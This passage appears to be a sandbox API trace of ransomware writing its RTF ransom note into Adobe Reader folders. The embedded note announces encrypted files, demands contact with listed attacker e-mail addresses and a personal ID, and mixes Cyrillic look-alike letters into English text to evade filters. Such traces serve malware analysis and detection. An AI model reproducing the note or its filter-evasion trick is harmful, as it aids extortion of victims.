d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nÒ3Ϧ¼­&!:Ü\x9c}Åèî\x1f\x0cû\x0c\x09\x04Î\x8fÅåN2೺\x03\n", lpUsedDefaultChar=0x0) returned 14086 [0034.075] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.076] CloseHandle (hObject=0x1b4) returned 1 [0034.076] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\!bwng_info!.rtf")) returned 0xffffffff [0034.077] GetLastError () returned 0x2 [0034.077] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0034.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 